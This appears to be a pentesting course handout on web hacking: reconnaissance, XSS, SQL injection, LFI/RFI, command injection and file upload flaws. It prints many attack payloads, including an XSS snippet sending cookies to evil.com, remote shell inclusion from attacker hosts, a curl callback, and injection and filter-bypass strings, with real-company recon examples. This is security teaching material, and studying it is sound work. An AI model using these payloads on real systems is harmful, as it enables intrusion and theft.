

WHITESEC CYBER SECURITY PRESENTS

WEB HACKING AND PENETRATION TESTING



whitesec.org
online cyber security organization

YOUTUBE CHANNEL -

[HTTPS://WWW.YOUTUBE.COM/@WHITESEC-CYBERSECURITY](https://www.youtube.com/@WHITESEC-CYBERSECURITY)

TELEGRAM CHANNEL -

[HTTPS://T.ME/WHITESEC-ONLINE-CYBERSECURITY-ORG](https://t.me/WHITESEC-ONLINE-CYBERSECURITY-ORG)

UDEMY -

[HTTPS://WWW.UDEMY.COM/USER/WHITESEC-23/](https://www.udemy.com/user/WHITESEC-23/)

RED TEAM TRAINING -

[HTTPS://TRAININGS.WHITESEC.ORG/](https://trainings.whitesec.org/)

ADVANCE ANDROID HACKING -

[HTTPS://TRAININGS.WHITESEC.ORG/ADV](https://trainings.whitesec.org/adv)

WHATSAPP SUPPORT -

[HTTPS://WA.ME/918019263448](https://wa.me/918019263448)

WHAT IS INFORMATION GATHERING?

Information Gathering, also known as reconnaissance, is the first step in web application penetration testing. The goal is to collect as much information as possible about the target without triggering any alarms or performing intrusive actions.

This step is divided into two parts:

- **Passive Reconnaissance** – Collecting data without directly interacting with the target server
- **Active Reconnaissance** – Interacting with the server or application to get more detailed insights

PASSIVE RECONNAISSANCE

WHOIS Lookup

Purpose: Find information about the domain registration, including registrar, name servers, creation date, and sometimes emails.

Command:

`whois tesla.com`

What to look for:

- Registrar info
- Administrative email (used in social engineering or email takeover)
- Domain creation and expiry (useful in phishing or clone testing)
- Name servers (may point to hidden infrastructure)

PASSIVE RECONNAISSANCE

DNS Enumeration

Purpose: Discover subdomains, mail servers, and DNS records related to the domain.

Command (to find A record):

```
dig tesla.com
```

Command (to find all records):

```
dig tesla.com ANY
```

Command (to get name servers):

```
nslookup -type=ns tesla.com
```

What to look for:

- A record: main IP address
- MX record: mail servers
- TXT record: sometimes contains useful info like SPF, Google verification

PASSIVE RECONNAISSANCE

Subdomain Enumeration (Passive)

Purpose: Identify subdomains that may be hosted on separate servers or expose different applications.

Command using crt.sh (via browser):

```
https://crt.sh/?q=%.tesla.com
```

Command using Subfinder:

```
subfinder -d tesla.com -silent
```

Command using Assetfinder:

```
assetfinder --subs-only tesla.com
```

What to look for:

- dev.tesla.com (development servers)
- staging.tesla.com
- shop.tesla.com
- forums.tesla.com
- Anything not pointing to the main app is interesting

ACTIVE RECONNAISSANCE

HTTP Header and Response Analysis

Purpose: Check security headers, server technologies, and cookie behavior.

Command:

```
curl -I https://www.tesla.com
```

What to look for:

- Server headers: may reveal Apache, Nginx, or cloud providers
- Set-Cookie: Secure, HttpOnly, SameSite attributes
- X-Powered-By: Technology used (e.g., PHP, Express)

ACTIVE RECONNAISSANCE

Directory and File Enumeration

Purpose: Find hidden pages or directories not linked from the homepage.

Command:

```
ffuf -u https://www.tesla.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -fc 403,404 -t 50
```

What to look for:

- /admin
- /backup
- /login
- /api
- /dev

Use wordlists from SecLists (apt install seclists).

ACTIVE RECONNAISSANCE

Technology and Framework Detection

Purpose: Identify which frameworks, libraries, and platforms the site uses.

Tools:

- Wappalyzer (Browser Extension)
- BuiltWith
- whatweb
- httpx with tech detection

Command using whatweb:

whatweb <https://www.tesla.com>

What to look for:

- CMS: WordPress, Drupal
- JavaScript libraries: React, Angular, Vue
- Backend: ASP.NET, Node.js, PHP

WHAT IS A SPIDER IN WEB PENTESTING?

A spider (also called a crawler) is an automated tool or feature that browses and maps all reachable pages, links, and inputs in a web application.

Purpose of a Spider

- Discover all available endpoints (URLs)
- Find hidden or unlinked pages
- Enumerate parameters automatically
- Build a complete attack surface for testing

TOOLS FOR SPIDERING

- Burp Suite (Spider is built-in with Target > Site Map)
- OWASP ZAP (Automated spider)
- hakrawler – CLI-based crawler
- gau – Fetches known URLs from public archives (e.g., Wayback Machine)

HOW TO USE SPIDER IN BURP SUITE

- Open Burp Suite
- Proxy > Intercept ON
- Browse the target application manually
- Go to Target > Site Map — you'll see all pages discovered
- Right-click the domain > Spider this host

Output -

- All pages and parameters
- Automatically discovers hidden input forms, login panels, etc.

WHAT ARE PARAMETERS?

Parameters are data sent from the client to the server to perform an action or fetch specific information.

They can be found in -

- URL (GET) – example.com/page.php?id=123
- Body (POST) – sent via form data
- Headers – like Authorization, X-Requested-With
- Cookies – session IDs, tokens

WHY PARAMETERS ARE IMPORTANT IN PENTESTING

They represent entry points for user input, which can be exploited if not properly validated or sanitized.

Testing parameters is key for finding:

- SQL Injection
- XSS
- LFI/RFI
- Command Injection
- IDOR (Insecure Direct Object Reference)
- CSRF
- Open Redirects

HOW TO FIND PARAMETERS

Passive Discovery

- Burp Suite: Browse the site → look in HTTP History
- Browser Dev Tools: Inspect Network Tab
- Spider Tools: Burp Spider, OWASP ZAP, hakrawler, gau

Archived URL Fetchers (for hidden params)

gau tesla.com

This pulls archived URLs like:

<https://www.tesla.com/search?query=model3>

<https://www.tesla.com/inventory?location=NY&id=9876>

HOW TO FIND PARAMETERS

Parameter Wordlists (for fuzzing)

Use parameter wordlists with tools like:

- ParamSpider
- ffuf

```
paramspider -d example.com
```

This will brute-force common parameters to see which ones are accepted by the server.

COMMON PARAMETERS TO LOOK FOR

SQL Injection

Look for parameters that deal with IDs, numbers, or user data.

Parameter Examples -

id, user_id

uid, pid

product, item

page, number

order, invoice

Test Payload -

?id=1'

CROSS-SITE SCRIPTING (XSS)

Focus on parameters that accept text input or reflect back in the response.

Parameter Examples -

search, q, query

name, msg, comment

feedback, title, content

Test Payload:

?name=<script>alert(1)</script>

LOCAL FILE INCLUSION (LFI)

Target parameters that take file names, paths, or page references.

Parameter Examples -

file, page, include
template, load, view
module, doc

Test Payload

?page=../../../../etc/passwd

REMOTE FILE INCLUSION (RFI)

Similar to LFI but checks if external files can be included.

Parameter Examples -

file, template, url
page, remote

Test Payload:

?file=http://evil.com/shell.txt

OPEN REDIRECT

Check redirection or URL-based parameters.

Parameter Examples -

redirect, url

next, return, dest

target, continue

Test Payload:

?redirect=http://attacker.com



INSECURE DIRECT OBJECT REFERENCE (IDOR)

Look for numeric or alphanumeric IDs.

Parameter Examples -

user, uid, account

profile, invoice

Test by modifying values:

/profile?user_id=102 → change to 101

COMMAND INJECTION

Rare, but target parameters that interact with system or shell commands.

Parameter Examples -

ping, host, cmd

exec, execute

ip, target

Test Payload:

?host=127.0.0.1; whoami



WHAT IS XSS (CROSS-SITE SCRIPTING)

XSS, or Cross-Site Scripting, is a vulnerability that allows an attacker to inject malicious scripts into a website viewed by other users. It's a client-side attack because it targets users through their browsers, not the server directly. However, it can indirectly impact servers and business operations if not handled properly.

Types of XSS -

Stored XSS

The malicious script is permanently stored on the server (for example, in a comment or post) and is executed every time a user loads the page.

Reflected XSS

The script is part of the URL or request and is immediately reflected back in the response. It's commonly delivered via phishing links.

DOM-Based XSS

This happens entirely in the browser through JavaScript and client-side processing. The server may not even be aware of it.

WHERE TO FIND XSS

You should look for XSS in any feature where user input is reflected or rendered on a web page, such as:

- Search boxes
- Comment forms
- Contact forms
- Feedback submissions
- URL parameters
- Page titles and messages
- API responses returned in the browser

HOW XSS OCCURS

When user input is not properly sanitized or encoded, attackers can inject JavaScript payloads into the application. For example, if an attacker inputs a script like `<script>alert('XSS')</script>` and it's rendered in the page without filtering, that code will execute in the user's browser.

WHY XSS IS CALLED A CLIENT-SIDE ATTACK

Because the malicious script runs in the victim's browser, not on the server. It uses the victim's session or actions to perform harmful activities, like stealing cookies, redirecting to phishing sites, or logging keystrokes.

REAL-WORLD EXAMPLE

Imagine a car company website like examplecars.com that shows reviews submitted by users. If it doesn't filter user input properly, an attacker could submit this as a review:

```
<script>fetch('http://evil.com?cookie=' + document.cookie)</script>
```

Now, every user who reads that review will unknowingly send their session cookie to the attacker's server.

HOW ATTACKERS STEAL COOKIES AND DATA USING XSS

- The attacker injects a JavaScript payload that runs in the victim's browser.
- The script accesses document.cookie or form data.
- It sends that data to an external server controlled by the attacker.
- If session cookies are stolen, the attacker can impersonate the user.

IMPACT ON BUSINESS

- User trust loss: If users get pop-ups or are redirected, they stop trusting the site.
- Session hijacking: Attackers can impersonate users, including admins.
- Data theft: Sensitive data like email addresses, passwords, or credit card numbers can be stolen.
- Reputation damage: News of XSS incidents can affect customer confidence and investor trust.
- Compliance violations: Companies may face legal action or penalties under privacy laws (like GDPR).

HOW TO FIND XSS VULNERABILITIES

Manual Testing:

- Look for input fields and try payloads like `<script>alert(1)</script>`, `<img src=x onerror=alert(1)>`, etc.
- Observe if the input is reflected in the response unencoded.
- Use browser developer tools to inspect the response and DOM changes.

Automated Tools:

- Burp Suite (intruder, repeater)
- OWASP ZAP
- XSSStrike
- Your own crawler to extract parameters and test payloads

STEPS TO PERFORM TESTING:

- Use Burp Suite or browser dev tools to intercept and test user inputs.
- Inject common payloads in query parameters and form inputs.
- Observe whether your payload is reflected in the HTML response.
- Check if the script executes in the browser.
- Try using advanced payloads to bypass filters.

WHAT IS SQL INJECTION

SQL Injection is a web security vulnerability that allows an attacker to interfere with the queries an application makes to its database. It happens when user input is inserted directly into SQL statements without proper validation or sanitization. This allows attackers to read, modify, or even delete sensitive data.

HOW SQL INJECTION OCCURS

Most web applications interact with databases to fetch or store user data (e.g., login forms, search boxes). If the application does not filter or parameterize the input properly, an attacker can inject SQL code into the input fields.

Example vulnerable query:

```
SELECT * FROM users WHERE username = 'input' AND password = 'input'
```

If an attacker provides:

username: ' OR 1=1 --

password: anything

The final query becomes:

```
SELECT * FROM users WHERE username = " OR 1=1 --" AND password = 'anything'
```

This bypasses authentication and logs in the attacker.

WHERE TO FIND SQL INJECTION

You can test for SQL injection anywhere the web application interacts with the database:

- Login forms
- Signup forms
- Search fields
- Product filters
- URLs with numeric or string parameters
- Hidden fields
- Headers like User-Agent or Referer (in some APIs)

TYPES OF SQL INJECTION

Classic/Union-based SQLi

Injecting malicious queries that retrieve data by using UNION SELECT.

Example payload: ' UNION SELECT null, version(), database() --

Error-Based SQLi

Forces the database to throw errors revealing information.

Payload: ' OR 1=1 ORDER BY 9999 --

Boolean-Based Blind SQLi

Application doesn't show errors, but responses differ for true/false conditions.

Payload: ' AND 1=1 -- vs ' AND 1=2 --

Time-Based Blind SQLi

The attacker uses database delays to infer results.

Payload: ' OR IF(1=1, SLEEP(5), 0) --

Out-of-Band SQLi

Uses DNS or HTTP requests from the DB server to exfiltrate data.

Requires advanced setups and supported DB functions.

HOW ATTACKERS EXPLOIT SQL INJECTION

- Bypass login: Gain unauthorized access to accounts
- Extract data: Steal usernames, passwords, emails, credit cards
- Modify data: Change prices, account balances, or user roles
- Delete data: Drop tables or entire databases
- RCE: On some DBMS (like MySQL + file write or MSSQL + xp_cmdshell), attackers can gain remote command execution

REAL-WORLD EXAMPLE

Suppose a website like `carslisting.com/search.php?car=toyota` doesn't filter inputs.

If the attacker visits:

`carslisting.com/search.php?car=toyota' OR 1=1 --`

They may get the full database results.

If the site uses:

```
SELECT * FROM cars WHERE brand = '$car'
```

Then the payload directly modifies the logic of the SQL query.

IMPACT OF SQL INJECTION

- Data Theft: Customer, financial, and sensitive records exposed
- Data Corruption or Loss: Attackers can modify or delete data
- Account Takeover: Bypass logins, elevate privileges
- Business Loss: Legal issues, loss of customer trust, regulatory fines
- Full System Compromise: Leads to remote code execution on server



HOW TO DETECT SQL INJECTION

Add ' or " in input fields. See if errors appear.

Use payloads like:

- ' OR '1'='1
- ' UNION SELECT NULL, version(), user() --
- ' AND SLEEP(5) --

Observe:

- Database errors
- Behavior changes (true/false logic)
- Page delays (for time-based)

HOW TO USE SQLMAP

- Capture a request using Burp Suite or browser
- Save it as request.txt
- Run:

```
sqlmap -r request.txt --batch --dbs
```

This will test and list all accessible databases if the input is vulnerable.

WHAT IS LFI (LOCAL FILE INCLUSION)

Local File Inclusion is a vulnerability that allows an attacker to read local files from the server. It occurs when the application includes a file based on user input, but does not properly validate or sanitize the path.

This lets attackers read sensitive files such as -

- /etc/passwd
- /proc/self/environ
- Log files (/var/log/apache2/access.log)
- Application source code
- Credentials or configuration files

WHAT IS RFI (REMOTE FILE INCLUSION)

Remote File Inclusion is a more dangerous version of file inclusion. It happens when the application accepts a remote file URL as input and includes it into the server code. This allows attackers to execute remote code from their own server.

Remote File Inclusion usually affects PHP-based applications with `allow_url_include = On`.

HOW LFI AND RFI WORK

These vulnerabilities are commonly found in dynamic file inclusion functions in web applications, such as:

- `include($_GET["page"])` (PHP)
- `require("views/" . $_GET["file"])`

WHERE TO LOOK FOR LFI/RFI

Look for parameters that include filenames or paths in:

- page=
- file=
- template=
- lang=
- view=
- dir=

Example URLs:

- example.com/index.php?page=home
- example.com/view.php?file=about.html

HOW LFI HAPPENS

URL:

`http://example.com/index.php?page=about`

Code:

```
include($_GET["page"] . ".php")
```

Attacker input:

`http://example.com/index.php?page=../../../../etc/passwd`

Server processes:

```
include("../../../../../../etc/passwd.php")
```

By removing the extension or by using null byte injection in older PHP versions, attackers can access the actual file:

`?page=../../../../etc/passwd%00`

HOW RFI HAPPENS

URL:

`http://example.com/index.php?page=http://evil.com/shell.txt`

Code:

```
include($_GET["page"])
```

If `allow_url_include` is enabled, the server will download and execute code from the attacker's site.

WHAT AN ATTACKER CAN DO WITH LFI & RFI

LFI -

- Read sensitive server files
- Leak credentials, tokens, or config
- Read application source code
- Log poisoning: Inject PHP into logs and then include log files
- Get code execution (via /proc/self/environ, log poisoning, etc.)
- Enumerate directories and files

RFI -

- Upload a reverse shell
- Execute remote commands
- Fully compromise the server
- Pivot into internal networks
- Drop malware or ransomware



WHY LFI AND RFI ARE DANGEROUS

- LFI can lead to information disclosure, privilege escalation, and even RCE
- RFI leads directly to Remote Code Execution (if server is vulnerable)
- Both are often underrated and overlooked by developers

REAL-WORLD LFI EXAMPLE

URL:

- `http://target.com/page.php?file=../../../../etc/passwd`

Returns contents of `/etc/passwd`:

- `root:x:0:0:root:/root:/bin/bash`

Attacker then reads:

- Apache log files
- SSH keys
- PHP sessions
- Application `.env` file



REAL-WORLD RFI EXAMPLE

URL:

<http://target.com/page.php?file=http://attacker.com/shell.txt>

shell.txt contains PHP reverse shell code.

Once included, server connects to attacker's Netcat listener and gives reverse shell.

HOW TO DETECT LFI AND RFI

Try basic traversal:

- ?page=../../../../etc/passwd
- ?file=../../../../var/log/apache2/access.log

Use null byte if applicable:

- ?page=../../../../etc/passwd%00

Try RFI:

- ?page=http://evil.com/shell.txt

Use Burp Suite Intruder to fuzz with common file paths.

BUSINESS IMPACT OF LFI AND RFI

- Sensitive data leak: Configs, credentials, keys
- Server compromise: Full control via reverse shells or RCE
- Defacement or DoS: Attackers can modify or destroy files
- Compliance issues: Violations of GDPR, HIPAA, etc.
- Reputation loss: Sensitive data leak harms customer trust
- Monetary damage: Ransomware, lawsuits, data breach fines

COMMAND EXECUTION VULNERABILITY

A Command Execution vulnerability happens when an application allows user input to be passed into a system command (like ls, ping, or cat) without proper sanitization. Attackers can exploit this to run arbitrary system commands on the target server.

This can lead to:

- Unauthorized access
- Full system compromise
- Reverse shell connection
- Data theft, defacement, or lateral movement

TYPES OF COMMAND EXECUTION

OS Command Injection

Occurs when the application passes unsanitized user input into a shell command.

Example Code (PHP):

```
system("ping -c 4 " . $_GET["host"]);
```

If attacker sends:

host=127.0.0.1; whoami

The command becomes:

ping -c 4 127.0.0.1; whoami



TYPES OF COMMAND EXECUTION

Blind Command Execution

The response does not return command output, but the command still gets executed in the background.

Indicators: Use time-based commands like sleep 5 to observe response delay.

WHERE COMMAND EXECUTION HAPPENS

Look for parameters that may be passed to backend commands:

- ?ip=
- ?host=
- ?target=
- ?cmd=
- ?domain=

COMMAND INJECTION DELIMITERS

Delimiters are characters used to separate multiple commands in the same input. They allow attackers to chain or inject new commands even when input is meant to be used for just one.

List of Common Command Delimiters

Delimiter	Description & Usage
;	Separates two commands – both are executed
&&	Executes second command only if first succeeds
`	
`	`
%0a	URL encoded newline (\n) – used in bypassing
&	Executes both commands in parallel
\$()	Command substitution – runs inner command
``	Backticks for command substitution
\n	Newline – sometimes injected directly
>, >>	Write/append output to a file

HOW DELIMITER BYPASSES WORK

Some filters block only the most obvious ones like ;, but you can bypass them using alternate syntax:

Example Bypasses:

Attempt	Result
127.0.0.1; whoami	Basic injection
127.0.0.1 && whoami	Executes only if ping works
`127.0.0.1	
`127.0.0.1	whoami`
127.0.0.1\$(whoami)	Command substitution
127.0.0.1\whoami`	Using backticks
%0a whoami	Newline injection

BLIND COMMAND EXECUTION – HOW TO TEST

If you suspect blind injection (no output shown), test with:

- 127.0.0.1; sleep 5
- 127.0.0.1 && ping -c 5 127.0.0.1

Check if the server takes longer to respond that confirms execution.

You can also test DNS-based callbacks:

127.0.0.1; curl http://attacker.evil.com/

Use tools like Burp Collaborator or interact.sh to detect outbound requests.

BUSINESS IMPACT OF COMMAND EXECUTION

- Full server compromise
- Sensitive data theft
- Lateral movement in internal network
- Reputation loss & legal risk
- Data exfiltration or ransomware attack
- High-risk CVSS rating: 9.8 (Critical)

FILE UPLOAD VULNERABILITY

File upload vulnerability happens when an application allows users to upload files without properly validating the file type, content, extension, or location. Attackers can exploit this to upload malicious files such as web shells, scripts, or malware, leading to remote code execution, privilege escalation, or full server compromise.

WHERE TO FIND IT?

Common areas to test for file upload vulnerabilities include:

- Profile picture or avatar uploads
- Document or PDF upload forms
- Contact or feedback forms with attachment fields
- Admin panels or internal portals with upload features

REAL-WORLD EXAMPLE

Suppose an application allows users to upload .jpg images. An attacker uploads a file named shell.php.jpg, which actually contains PHP code. If the server only checks the extension but not the MIME type or content, and if the server saves this file in a web-accessible directory, the attacker can then access <http://target.com/uploads/shell.php.jpg>, and it executes as a PHP script, granting server access.

TYPES OF FILE UPLOAD VULNERABILITIES

Unrestricted File Upload

- No checks on file extension, type, or size
- Allows execution of malicious scripts

Content-Type Bypass

- Server relies on Content-Type header, which attackers can fake
- Example: sending Content-Type: image/jpeg for a PHP file

Extension Bypass

- Uploading files like file.php.jpg or file.php;jpg
- Application may treat it as an image, but server executes as PHP

MIME Sniffing Abuse

- Browser or server misinterprets file type
- Useful in XSS through uploaded SVG or HTML files

Path Traversal in File Name

- If attackers can change the upload path via ../../ in file names

Client-Side Validation Only

- If JavaScript checks the extension but server doesn't verify

COMMON IMPACTS

- Remote Code Execution: Uploading a script to gain shell access
- Stored XSS: Uploading a file like .svg or .html with malicious JS
- Denial of Service: Uploading large files to crash or fill the server
- Defacement: Uploading modified files to change how the website looks

HOW IT AFFECTS USERS AND BUSINESSES

- User data theft if attacker uploads a script that steals session cookies
- Server compromise leading to leaked or deleted sensitive data
- Loss of business trust, legal consequences, and financial loss
- Ransomware or backdoors left on the system after initial access

HOW TO TEST AND FIND IT

- Try uploading different file types (.php, .js, .exe, .htaccess)
- Intercept file upload requests using tools like Burp Suite
- Modify extension, content-type, and filename in the request
- Check the upload location and try accessing the uploaded file
- Observe error messages or abnormal behavior during upload
- Use payloads with extensions like .php, .phtml, .php5, .phar



USEFUL TECHNIQUES

- Upload with double extensions: shell.php.jpg
- Bypass content-type header: change it to image/jpeg
- Use known upload bypass payloads such as shell.php%00.jpg
- Try uploading scripts that echo system commands or environment details
- Observe the response and access the upload directory directly